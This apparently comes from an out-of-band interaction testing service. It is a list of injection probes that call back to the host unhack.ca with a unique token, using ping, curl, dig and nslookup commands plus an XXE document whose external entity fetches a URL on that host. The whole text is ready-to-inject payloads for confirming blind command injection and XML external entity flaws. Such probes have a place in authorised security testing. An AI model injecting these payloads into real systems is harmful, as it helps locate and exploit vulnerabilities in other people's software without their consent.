$ ping -c1 -p 00dac03e87a4fc0e651f82a220342600 unhack.ca
$ curl http://unhack.ca/p/dac03e87a4fc0e651f82a2203426
$ dig dac03e87a4fc0e651f82a2203426 @unhack.ca
$ dig dac03e87a4fc0e651f82a2203426.ns.unhack.ca
C:\> nslookup dac03e87a4fc0e651f82a2203426 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/dac03e87a4fc0e651f82a2203426">]> <foo>&xxe;</foo>